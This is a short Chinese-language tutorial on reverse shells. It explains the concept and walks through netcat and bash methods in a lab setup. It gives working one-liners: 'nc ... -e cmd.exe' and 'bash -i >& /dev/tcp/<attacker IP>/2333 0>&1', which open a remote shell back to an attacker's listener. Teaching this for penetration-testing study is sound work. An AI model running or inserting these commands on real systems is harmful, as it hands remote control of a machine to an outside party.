概述
概念
反弹shell:控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端
- 分析
- 正常情况下:用户在终端输入ssh root@ip登录目标机器,登录成功后即可开始shell操作
- 反弹shell:与正常sshd服务相反,由控制端监听,
用途
需要到服务器上执行shell命令,但因防火墙等原因,无法由客户端主动发起连接,就可以用shell来满足登录和操作要求
反弹👉攻击者指定服务器,受害者主机主动连接攻击者的服务器程序
几种方式
netcat
(此处试验:windows- powershell攻击,cmd受害)
本机开启监听服务:
nc -lvvp 2333
受害机连接(并提供程序)
nc 127.0.0.1 2333 -e cmd.exe
攻击结果:
获取对方cmd
bash
常用bash结合重定向->一句话
具体命令:
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
- 过程解读
bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。
攻击:windows-powershell
受害:kali-bash
- 攻击机开启本地监听:
nc -lvvp 2333
- 受害机主动连接攻击机:
bash -i >& /dev/tcp/192.xxx.xx.xx/2333 0>&1
连接结果: